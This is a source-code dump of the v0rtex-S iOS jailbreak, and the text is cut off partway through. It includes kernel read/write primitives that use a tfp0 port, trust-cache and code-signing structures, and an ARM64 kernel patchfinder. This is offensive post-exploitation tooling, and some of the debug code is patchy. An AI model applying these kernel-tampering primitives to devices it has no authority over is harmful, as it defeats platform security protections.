| #include 12 | 13 | task_t tfp0; 14 | 15 | void init_kernel(task_t task_for_port0) { 16 | tfp0 = task_for_port0; 17 | } 18 | 19 | size_t tfp0_kread(uint64_t where, void *p, size_t size) 20 | { 21 | int rv; 22 | size_t offset = 0; 23 | while (offset < size) { 24 | mach_vm_size_t sz, chunk = 2048; 25 | if (chunk > size - offset) { 26 | chunk = size - offset; 27 | } 28 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 29 | 30 | if (rv || sz == 0) { 31 | break; 32 | } 33 | 34 | offset += sz; 35 | } 36 | return offset; 37 | } 38 | 39 | uint64_t rk64(uint64_t kaddr) { 40 | uint64_t lower = rk32(kaddr); 41 | uint64_t higher = rk32(kaddr + 4); 42 | return ((higher << 32) | lower); 43 | } 44 | 45 | uint32_t rk32(uint64_t kaddr) { 46 | kern_return_t err; 47 | uint32_t val = 0; 48 | mach_vm_size_t outsize = 0; 49 | 50 | // mach (for kern r/w primitives) 51 | kern_return_t mach_vm_write(vm_map_t target_task, 52 | mach_vm_address_t address, 53 | vm_offset_t data, 54 | mach_msg_type_number_t dataCnt); 55 | 56 | err = mach_vm_read_overwrite(tfp0, 57 | (mach_vm_address_t)kaddr, 58 | (mach_vm_size_t)sizeof(uint32_t), 59 | (mach_vm_address_t)&val, 60 | &outsize); 61 | 62 | if (err != KERN_SUCCESS) { 63 | // printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 64 | // sleep(3); 65 | return 0; 66 | } 67 | 68 | if (outsize != sizeof(uint32_t)) { 69 | // printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 70 | // sleep(3); 71 | return 0; 72 | } 73 | 74 | return val; 75 | } 76 | 77 | void wk64(uint64_t kaddr, uint64_t val) { 78 | uint32_t lower = (uint32_t)(val & 0xffffffff); 79 | uint32_t higher = (uint32_t)(val >> 32); 80 | wk32(kaddr, lower); 81 | wk32(kaddr + 4, higher); 82 | } 83 | 84 | void wk32(uint64_t kaddr, uint32_t val) { 85 | if (tfp0 == MACH_PORT_NULL) { 86 | // printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 87 | // sleep(3); 88 | return; 89 | } 90 | 91 | kern_return_t err; 92 | err = mach_vm_write(tfp0, 93 | (mach_vm_address_t)kaddr, 94 | (vm_offset_t)&val, 95 | (mach_msg_type_number_t)sizeof(uint32_t)); 96 | 97 | if (err != KERN_SUCCESS) { 98 | // printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 99 | return; 100 | } 101 | } 102 | 103 | size_t kwrite(uint64_t where, const void *p, size_t size) { 104 | int rv; 105 | size_t offset = 0; 106 | while (offset < size) { 107 | size_t chunk = 2048; 108 | if (chunk > size - offset) { 109 | chunk = size - offset; 110 | } 111 | rv = mach_vm_write(tfp0, 112 | where + offset, 113 | (mach_vm_offset_t)p + offset, 114 | (mach_msg_type_number_t)chunk); 115 | 116 | if (rv) { 117 | printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where)); 118 | break; 119 | } 120 | 121 | offset +=chunk; 122 | } 123 | 124 | return offset; 125 | } 126 | 127 | size_t kwrite_uint64(uint64_t where, uint64_t value) { 128 | return kwrite(where, &value, sizeof(value)); 129 | } 130 | -------------------------------------------------------------------------------- /v0rtex-S/launchctl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/launchctl -------------------------------------------------------------------------------- /v0rtex-S/libjb.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/libjb.a -------------------------------------------------------------------------------- /v0rtex-S/libjb.h: -------------------------------------------------------------------------------- 1 | #ifndef libjb_h_included 2 | #define libjb_h_included 3 | 4 | #import "common.h" 5 | #import 6 | 7 | /* mount ********************************************************************/ 8 | 9 | struct hfs_mount_args { 10 | char *fspec; /* block special device to mount */ 11 | uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */ 12 | gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */ 13 | mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */ 14 | u_int32_t hfs_encoding; /* encoding for this volume (standard HFS only) */ 15 | struct timezone hfs_timezone; /* user time zone info (standard HFS only) */ 16 | int flags; /* mounting flags, see below */ 17 | int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */ 18 | int journal_flags; /* flags to pass to journal_open/create */ 19 | int journal_disable; /* don't use journaling (potentially dangerous) */ 20 | } args; 21 | 22 | /* libhfs *******************************************************************/ 23 | 24 | enum { 25 | kPermOtherExecute = 1 << 0, 26 | kPermOtherWrite = 1 << 1, 27 | kPermOtherRead = 1 << 2, 28 | kPermGroupExecute = 1 << 3, 29 | kPermGroupWrite = 1 << 4, 30 | kPermGroupRead = 1 << 5, 31 | kPermOwnerExecute = 1 << 6, 32 | kPermOwnerWrite = 1 << 7, 33 | kPermOwnerRead = 1 << 8, 34 | kPermMask = 0x1FF, 35 | kOwnerNotRoot = 1 << 9, 36 | kFileTypeUnknown = 0x0 << 16, 37 | kFileTypeFlat = 0x1 << 16, 38 | kFileTypeDirectory = 0x2 << 16, 39 | kFileTypeLink = 0x3 << 16, 40 | kFileTypeMask = 0x3 << 16 41 | }; 42 | 43 | typedef long CICell; 44 | 45 | extern char *gLoadAddr; /* buffer of size 32MB (max file size) */ 46 | 47 | CICell HFSOpen(const char *filename, long offset); 48 | long HFSReadFile(CICell ih, char *filePath, void *base, unsigned long offset, unsigned long length); 49 | long HFSGetDirEntry(CICell ih, char *dirPath, unsigned long *dirIndex, char **name, long *flags, long *time); 50 | void HFSClose(CICell); 51 | 52 | /* untar ********************************************************************/ 53 | 54 | /* untar 'a' to current directory. path is name of archive (informational) */ 55 | void untar(FILE *a, const char *path); 56 | 57 | /* launchctl ****************************************************************/ 58 | 59 | int launchctl_load_cmd(const char *filename, int do_load, int opt_force, int opt_write); 60 | 61 | /* hashes *******************************************************************/ 62 | 63 | struct trust_dsk { 64 | unsigned int version; 65 | unsigned char uuid[16]; 66 | unsigned int count; 67 | //unsigned char data[]; 68 | } __attribute__((packed)); 69 | 70 | struct trust_mem { 71 | uint64_t next; //struct trust_mem *next; 72 | unsigned char uuid[16]; 73 | unsigned int count; 74 | //unsigned char data[]; 75 | } __attribute__((packed)); 76 | 77 | struct hash_entry_t { 78 | uint16_t num; 79 | uint16_t start; 80 | } __attribute__((packed)); 81 | 82 | typedef uint8_t hash_t[20]; 83 | 84 | extern hash_t *allhash; 85 | extern unsigned numhash; 86 | extern struct hash_entry_t *amfitab; 87 | extern hash_t *allkern; 88 | 89 | /* can be called multiple times. kernel read func & amfi/top trust chain block are optional */ 90 | int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top); 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /v0rtex-S/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // v0rtex 4 | // 5 | // Created by Sticktron on 2017-12-07. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /v0rtex-S/patchfinder64.c: -------------------------------------------------------------------------------- 1 | // 2 | // patchfinder64.c 3 | // extra_recipe 4 | // 5 | // Created by xerub on 06/06/2017. 6 | // Copyright © 2017 xerub. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include "kernel.h" 13 | 14 | typedef unsigned long long addr_t; 15 | 16 | #define IS64(image) (*(uint8_t *)(image) & 1) 17 | 18 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) 19 | 20 | /* generic stuff *************************************************************/ 21 | 22 | #define UCHAR_MAX 255 23 | 24 | static unsigned char * 25 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, 26 | const unsigned char* needle, size_t nlen) 27 | { 28 | size_t last, scan = 0; 29 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: 30 | * bad character shift */ 31 | 32 | /* Sanity checks on the parameters */ 33 | if (nlen <= 0 || !haystack || !needle) 34 | return NULL; 35 | 36 | /* ---- Preprocess ---- */ 37 | /* Initialize the table to default value */ 38 | /* When a character is encountered that does not occur 39 | * in the needle, we can safely skip ahead for the whole 40 | * length of the needle. 41 | */ 42 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) 43 | bad_char_skip[scan] = nlen; 44 | 45 | /* C arrays have the first byte at [0], therefore: 46 | * [nlen - 1] is the last byte of the array. */ 47 | last = nlen - 1; 48 | 49 | /* Then populate it with the analysis of the needle */ 50 | for (scan = 0; scan < last; scan = scan + 1) 51 | bad_char_skip[needle[scan]] = last - scan; 52 | 53 | /* ---- Do the matching ---- */ 54 | 55 | /* Search the haystack, while the needle can still be within it. */ 56 | while (hlen >= nlen) 57 | { 58 | /* scan from the end of the needle */ 59 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) 60 | if (scan == 0) /* If the first byte matches, we've found it. */ 61 | return (void *)haystack; 62 | 63 | /* otherwise, we need to skip some bytes and start again. 64 | Note that here we are getting the skip value based on the last byte 65 | of needle, no matter where we didn't match. So if needle is: "abcd" 66 | then we are skipping based on 'd' and that value will be 4, and 67 | for "abcdd" we again skip on 'd' but the value will be only 1. 68 | The alternative of pretending that the mismatched character was 69 | the last character is slower in the normal case (E.g. finding 70 | "abcd" in "...azcd..." gives 4 by using 'd' but only 71 | 4-2==2 using 'z'. */ 72 | hlen -= bad_char_skip[haystack[last]]; 73 | haystack += bad_char_skip[haystack[last]]; 74 | } 75 | 76 | return NULL; 77 | } 78 | 79 | /* disassembler **************************************************************/ 80 | 81 | static int HighestSetBit(int N, uint32_t imm) 82 | { 83 | int i; 84 | for (i = N - 1; i >= 0; i--) { 85 | if (imm & (1 << i)) { 86 | return i; 87 | } 88 | } 89 | return -1; 90 | } 91 | 92 | static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width 93 | { 94 | (void)N; 95 | return ((uint64_t)1 << M) - 1; 96 | } 97 | 98 | static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) 99 | { 100 | uint64_t val = ZeroExtendOnes(M, N); 101 | if (R == 0) { 102 | return val; 103 | } 104 | return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); 105 | } 106 | 107 | static uint64_t Replicate(uint64_t val, unsigned bits) 108 | { 109 | uint64_t ret = val; 110 | unsigned shift; 111 | for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 112 | ret |= (val << shift); 113 | } 114 | return ret; 115 | } 116 | 117 | static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) 118 | { 119 | unsigned levels, S, R, esize; 120 | int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); 121 | if (len < 1) { 122 | return -1; 123 | } 124 | levels = ZeroExtendOnes(len, 6); 125 | if (immediate && (imms & levels) == levels) { 126 | return -1; 127 | } 128 | S = imms & levels; 129 | R = immr & levels; 130 | esize = 1 << len; 131 | *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); 132 | return 0; 133 | } 134 | 135 | static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) 136 | { 137 | unsigned o = (opcode >> 29) & 3; 138 | unsigned k = (opcode >> 23) & 0x3F; 139 | unsigned rn, rd; 140 | uint64_t i; 141 | 142 | if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) 143 | unsigned s = (opcode >> 31) & 1; 144 | unsigned N = (opcode >> 22) & 1; 145 | if (s == 0 && N != 0) { 146 | return -1; 147 | } 148 | rn = (opcode >> 5) & 0x1F; 149 | if (rn == 31) { 150 | unsigned imms = (opcode >> 10) & 0x3F; 151 | unsigned immr = (opcode >> 16) & 0x3F; 152 | return DecodeBitMasks(N, imms, immr, 1, newval); 153 | } 154 | } else if (k == 0x25) { // MOVN/MOVZ/MOVK 155 | unsigned s = (opcode >> 31) & 1; 156 | unsigned h = (opcode >> 21) & 3; 157 | if (s == 0 && h > 1) { 158 | return -1; 159 | } 160 | i = (opcode >> 5) & 0xFFFF; 161 | h *= 16; 162 | i <<= h; 163 | if (o == 0) { // MOVN 164 | *newval = ~i; 165 | return 0; 166 | } else if (o == 2) { // MOVZ 167 | *newval = i; 168 | return 0; 169 | } else if (o == 3 && !first) { // MOVK 170 | *newval = (total & ~((uint64_t)0xFFFF << h)) | i; 171 | return 0; 172 | } 173 | } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) 174 | unsigned h = (opcode >> 22) & 3; 175 | if (h > 1) { 176 | return -1; 177 | } 178 | rd = opcode & 0x1F; 179 | rn = (opcode >> 5) & 0x1F; 180 | if (rd != rn) { 181 | return -1; 182 | } 183 | i = (opcode >> 10) & 0xFFF; 184 | h *= 12; 185 | i <<= h; 186 | if (o & 2) { // SUB 187 | *newval = total - i; 188 | return 0; 189 | } else { // ADD 190 | *newval = total + i; 191 | return 0; 192 | } 193 | } 194 | 195 | return -1; 196 | } 197 | 198 | /* patchfinder ***************************************************************/ 199 | 200 | static addr_t 201 | step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 202 | { 203 | addr_t end = start + length; 204 | while (start < end) { 205 | uint32_t x = *(uint32_t *)(buf + start); 206 | if ((x & mask) == what) { 207 | return start; 208 | } 209 | start += 4; 210 | } 211 | return 0; 212 | } 213 | 214 | static addr_t 215 | step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 216 | { 217 | addr_t end = start - length; 218 | while (start >= end) { 219 | uint32_t x = *(uint32_t *)(buf + start); 220 | if ((x & mask) == what) { 221 | return start; 222 | } 223 | start -= 4; 224 | } 225 | return 0; 226 | } 227 | 228 | static addr_t 229 | bof64(const uint8_t *buf, addr_t start, addr_t where) 230 | { 231 | for (; where >= start; where -= 4) { 232 | uint32_t op = *(uint32_t *)(buf + where); 233 | if ((op & 0xFFC003FF) == 0x910003FD) { 234 | unsigned delta = (op >> 10) & 0xFFF; 235 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta); 236 | if ((delta & 0xF) == 0) { 237 | addr_t prev = where - ((delta >> 4) + 1) * 4; 238 | uint32_t au = *(uint32_t *)(buf + prev); 239 | if ((au & 0xFFC003E0) == 0xA98003E0) { 240 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev); 241 | return prev; 242 | } 243 | } 244 | } 245 | } 246 | return 0; 247 | } 248 | 249 | static addr_t 250 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) 251 | { 252 | addr_t i; 253 | uint64_t value[32]; 254 | 255 | memset(value, 0, sizeof(value)); 256 | 257 | end &= ~3; 258 | for (i = start & ~3; i < end; i += 4) { 259 | uint32_t op = *(uint32_t *)(buf + i); 260 | unsigned reg = op & 0x1F; 261 | if ((op & 0x9F000000) == 0x90000000) { 262 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 263 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 264 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 265 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 266 | unsigned rd = op & 0x1F; 267 | unsigned rm = (op >> 16) & 0x1F; 268 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 269 | value[rd] = value[rm];*/ 270 | } else if ((op & 0xFF000000) == 0x91000000) { 271 | unsigned rn = (op >> 5) & 0x1F; 272 | unsigned shift = (op >> 22) & 3; 273 | unsigned imm = (op >> 10) & 0xFFF; 274 | if (shift == 1) { 275 | imm <<= 12; 276 | } else { 277 | //assert(shift == 0); 278 | if (shift > 1) continue; 279 | } 280 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 281 | value[reg] = value[rn] + imm; 282 | } else if ((op & 0xF9C00000) == 0xF9400000) { 283 | unsigned rn = (op >> 5) & 0x1F; 284 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 285 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 286 | if (!imm) continue; // XXX not counted as true xref 287 | value[reg] = value[rn] + imm; // XXX address, not actual value 288 | /*} else if ((op & 0xF9C00000) == 0xF9000000) { 289 | unsigned rn = (op >> 5) & 0x1F; 290 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 291 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 292 | if (!imm) continue; // XXX not counted as true xref 293 | value[rn] = value[rn] + imm; // XXX address, not actual value*/ 294 | } else if ((op & 0x9F000000) == 0x10000000) { 295 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 296 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 297 | value[reg] = ((long long)adr >> 11) + i; 298 | } else if ((op & 0xFF000000) == 0x58000000) { 299 | unsigned adr = (op & 0xFFFFE0) >> 3; 300 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 301 | value[reg] = adr + i; // XXX address, not actual value 302 | } 303 | if (value[reg] == what) { 304 | return i; 305 | } 306 | } 307 | return 0; 308 | } 309 | 310 | static addr_t 311 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which) 312 | { 313 | addr_t i; 314 | uint64_t value[32]; 315 | 316 | memset(value, 0, sizeof(value)); 317 | 318 | end &= ~3; 319 | for (i = start & ~3; i < end; i += 4) { 320 | uint32_t op = *(uint32_t *)(buf + i); 321 | unsigned reg = op & 0x1F; 322 | if ((op & 0x9F000000) == 0x90000000) { 323 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 324 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 325 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 326 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 327 | unsigned rd = op & 0x1F; 328 | unsigned rm = (op >> 16) & 0x1F; 329 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 330 | value[rd] = value[rm];*/ 331 | } else if ((op & 0xFF000000) == 0x91000000) { 332 | unsigned rn = (op >> 5) & 0x1F; 333 | unsigned shift = (op >> 22) & 3; 334 | unsigned imm = (op >> 10) & 0xFFF; 335 | if (shift == 1) { 336 | imm <<= 12; 337 | } else { 338 | //assert(shift == 0); 339 | if (shift > 1) continue; 340 | } 341 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 342 | value[reg] = value[rn] + imm; 343 | } else if ((op & 0xF9C00000) == 0xF9400000) { 344 | unsigned rn = (op >> 5) & 0x1F; 345 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 346 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 347 | if (!imm) continue; // XXX not counted as true xref 348 | value[reg] = value[rn] + imm; // XXX address, not actual value 349 | } else if ((op & 0xF9C00000) == 0xF9000000) { 350 | unsigned rn = (op >> 5) & 0x1F; 351 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 352 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 353 | if (!imm) continue; // XXX not counted as true xref 354 | value[rn] = value[rn] + imm; // XXX address, not actual value 355 | } else if ((op & 0x9F000000) == 0x10000000) { 356 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 357 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 358 | value[reg] = ((long long)adr >> 11) + i; 359 | } else if ((op & 0xFF000000) == 0x58000000) { 360 | unsigned adr = (op & 0xFFFFE0) >> 3; 361 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 362 | value[reg] = adr + i; // XXX address, not actual value 363 | } 364 | } 365 | return value[which]; 366 | } 367 | 368 | static addr_t 369 | calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) 370 | { 371 | addr_t i; 372 | uint64_t value[32]; 373 | 374 | memset(value, 0, sizeof(value)); 375 | 376 | end &= ~3; 377 | for (i = start & ~3; i < end; i += 4) { 378 | uint32_t op = *(uint32_t *)(buf + i); 379 | unsigned reg = op & 0x1F; 380 | uint64_t newval; 381 | int rv = DecodeMov(op, value[reg], 0, &newval); 382 | if (rv == 0) { 383 | if (((op >> 31) & 1) == 0) { 384 | newval &= 0xFFFFFFFF; 385 | } 386 | value[reg] = newval; 387 | } 388 | } 389 | return value[which]; 390 | } 391 | 392 | static addr_t 393 | find_call64(const uint8_t *buf, addr_t start, size_t length) 394 | { 395 | return step64(buf, start, length, 0x94000000, 0xFC000000); 396 | } 397 | 398 | static addr_t 399 | follow_call64(const uint8_t *buf, addr_t call) 400 | { 401 | long long w; 402 | w = *(uint32_t *)(buf + call) & 0x3FFFFFF; 403 | w <<= 64 - 26; 404 | w >>= 64 - 26 - 2; 405 | return call + w; 406 | } 407 | 408 | static addr_t 409 | follow_cbz(const uint8_t *buf, addr_t cbz) 410 | { 411 | return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); 412 | } 413 | 414 | /* kernel iOS10 **************************************************************/ 415 | 416 | #include 417 | #include 418 | #include 419 | #include 420 | #include 421 | 422 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 423 | #include 424 | size_t kread(uint64_t where, void *p, size_t size); 425 | #endif 426 | 427 | static task_t tfp0; 428 | 429 | static uint8_t *kernel = NULL; 430 | static size_t kernel_size = 0; 431 | 432 | static addr_t xnucore_base = 0; 433 | static addr_t xnucore_size = 0; 434 | static addr_t prelink_base = 0; 435 | static addr_t prelink_size = 0; 436 | static addr_t cstring_base = 0; 437 | static addr_t cstring_size = 0; 438 | static addr_t pstring_base = 0; 439 | static addr_t pstring_size = 0; 440 | static addr_t kerndumpbase = -1; 441 | static addr_t kernel_entry = 0; 442 | static void *kernel_mh = 0; 443 | static addr_t kernel_delta = 0; 444 | 445 | int 446 | init_patchfinder(task_t taskfp0, addr_t base, const char *filename) 447 | { 448 | tfp0 = taskfp0; 449 | 450 | size_t rv; 451 | uint8_t buf[0x4000]; 452 | unsigned i, j; 453 | const struct mach_header *hdr = (struct mach_header *)buf; 454 | const uint8_t *q; 455 | addr_t min = -1; 456 | addr_t max = 0; 457 | int is64 = 0; 458 | 459 | init_kernel(taskfp0); 460 | 461 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 462 | #define close(f) 463 | rv = tfp0_kread(base, buf, sizeof(buf)); 464 | if (rv != sizeof(buf)) { 465 | printf("failed kread, got size: %zu \n", rv); 466 | return -1; 467 | } 468 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 469 | printf("this code right here has run ............. \n"); 470 | int fd = open(filename, O_RDONLY); 471 | if (fd < 0) { 472 | printf("failed at open, got fd: %s \n", fd); 473 | return -1; 474 | } 475 | 476 | rv = rk32_via_tfp0(tfp0, fd); 477 | //rv = read(fd, buf, sizeof(buf)); 478 | if (rv != sizeof(buf)) { 479 | close(fd); 480 | printf("failed at buf read, got rv: %d \n", rv); 481 | return -1; 482 | } 483 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 484 | 485 | if (!MACHO(buf)) { 486 | close(fd); 487 | printf("failed macho, buf: %s \n", buf); 488 | return -1; 489 | } 490 | 491 | if (IS64(buf)) { 492 | is64 = 4; 493 | } 494 | 495 | q = buf + sizeof(struct mach_header) + is64; 496 | for (i = 0; i < hdr->ncmds; i++) { 497 | const struct load_command *cmd = (struct load_command *)q; 498 | if (cmd->cmd == LC_SEGMENT_64) { 499 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 500 | if (min > seg->vmaddr) { 501 | min = seg->vmaddr; 502 | } 503 | if (max < seg->vmaddr + seg->vmsize) { 504 | max = seg->vmaddr + seg->vmsize; 505 | } 506 | if (!strcmp(seg->segname, "__TEXT_EXEC")) { 507 | xnucore_base = seg->vmaddr; 508 | xnucore_size = seg->filesize; 509 | } 510 | if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { 511 | prelink_base = seg->vmaddr; 512 | prelink_size = seg->filesize; 513 | } 514 | if (!strcmp(seg->segname, "__TEXT")) { 515 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 516 | for (j = 0; j < seg->nsects; j++) { 517 | if (!strcmp(sec[j].sectname, "__cstring")) { 518 | cstring_base = sec[j].addr; 519 | cstring_size = sec[j].size; 520 | } 521 | } 522 | } 523 | if (!strcmp(seg->segname, "__PRELINK_TEXT")) { 524 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 525 | for (j = 0; j < seg->nsects; j++) { 526 | if (!strcmp(sec[j].sectname, "__text")) { 527 | pstring_base = sec[j].addr; 528 | pstring_size = sec[j].size; 529 | } 530 | } 531 | } 532 | } 533 | if (cmd->cmd == LC_UNIXTHREAD) { 534 | uint32_t *ptr = (uint32_t *)(cmd + 1); 535 | uint32_t flavor = ptr[0]; 536 | struct { 537 | uint64_t x[29]; /* General purpose registers x0-x28 */ 538 | uint64_t fp; /* Frame pointer x29 */ 539 | uint64_t lr; /* Link register x30 */ 540 | uint64_t sp; /* Stack pointer x31 */ 541 | uint64_t pc; /* Program counter */ 542 | uint32_t cpsr; /* Current program status register */ 543 | } *thread = (void *)(ptr + 2); 544 | if (flavor == 6) { 545 | kernel_entry = thread->pc; 546 | } 547 | } 548 | q = q + cmd->cmdsize; 549 | } 550 | 551 | kerndumpbase = min; 552 | xnucore_base -= kerndumpbase; 553 | prelink_base -= kerndumpbase; 554 | cstring_base -= kerndumpbase; 555 | pstring_base -= kerndumpbase; 556 | kernel_size = max - min; 557 | 558 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 559 | kernel = malloc(kernel_size); 560 | if (!kernel) { 561 | printf("failed to malloc kern \n"); 562 | return -1; 563 | } 564 | 565 | rv = tfp0_kread(kerndumpbase, kernel, kernel_size); 566 | // rv = kread(kerndumpbase, kernel, kernel_size); 567 | if (rv != kernel_size) { 568 | free(kernel); 569 | printf("failed to kread kern, rv: %zu \n", rv); 570 | return -1; 571 | } 572 | 573 | kernel_mh = kernel + base - min; 574 | 575 | (void)filename; 576 | #undef close 577 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 578 | kernel = calloc(1, kernel_size); 579 | if (!kernel) { 580 | close(fd); 581 | printf("failed to calloc kern, kernel: %d \n", kernel); 582 | return -1; 583 | } 584 | 585 | q = buf + sizeof(struct mach_header) + is64; 586 | for (i = 0; i < hdr->ncmds; i++) { 587 | const struct load_command *cmd = (struct load_command *)q; 588 | if (cmd->cmd == LC_SEGMENT_64) { 589 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 590 | size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); 591 | if (sz != seg->filesize) { 592 | close(fd); 593 | free(kernel); 594 | printf("sz != seg->filesize, sz: %zu", sz); 595 | return -1; 596 | } 597 | if (!kernel_mh) { 598 | kernel_mh = kernel + seg->vmaddr - min; 599 | } 600 | if (!strcmp(seg->segname, "__LINKEDIT")) { 601 | kernel_delta = seg->vmaddr - min - seg->fileoff; 602 | } 603 | } 604 | q = q + cmd->cmdsize; 605 | } 606 | 607 | close(fd); 608 | 609 | (void)base; 610 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 611 | return 0; 612 | } 613 | 614 | void 615 | term_kernel(void) 616 | { 617 | free(kernel); 618 | } 619 | 620 | /* these operate on VA ******************************************************/ 621 | 622 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF 623 | #define INSN_CALL 0x94000000, 0xFC000000 624 | #define INSN_B 0x14000000, 0xFC000000 625 | #define INSN_CBZ 0x34000000, 0xFC000000 626 | 627 | addr_t 628 | find_register_value(addr_t where, int reg) 629 | { 630 | addr_t val; 631 | addr_t bof = 0; 632 | where -= kerndumpbase; 633 | if (where > xnucore_base) { 634 | bof = bof64(kernel, xnucore_base, where); 635 | if (!bof) { 636 | bof = xnucore_base; 637 | } 638 | } else if (where > prelink_base) { 639 | bof = bof64(kernel, prelink_base, where); 640 | if (!bof) { 641 | bof = prelink_base; 642 | } 643 | } 644 | val = calc64(kernel, bof, where, reg); 645 | if (!val) { 646 | return 0; 647 | } 648 | return val + kerndumpbase; 649 | } 650 | 651 | addr_t 652 | find_reference(addr_t to, int n, int prelink) 653 | { 654 | addr_t ref, end; 655 | addr_t base = xnucore_base; 656 | addr_t size = xnucore_size; 657 | if (prelink) { 658 | base = prelink_base; 659 | size = prelink_size; 660 | } 661 | if (n <= 0) { 662 | n = 1; 663 | } 664 | end = base + size; 665 | to -= kerndumpbase; 666 | do { 667 | ref = xref64(kernel, base, end, to); 668 | if (!ref) { 669 | return 0; 670 | } 671 | base = ref + 4; 672 | } while (--n > 0); 673 | return ref + kerndumpbase; 674 | } 675 | 676 | addr_t 677 | find_strref(const char *string, int n, int prelink) 678 | { 679 | uint8_t *str; 680 | addr_t base = cstring_base; 681 | addr_t size = cstring_size; 682 | if (prelink) { 683 | base = 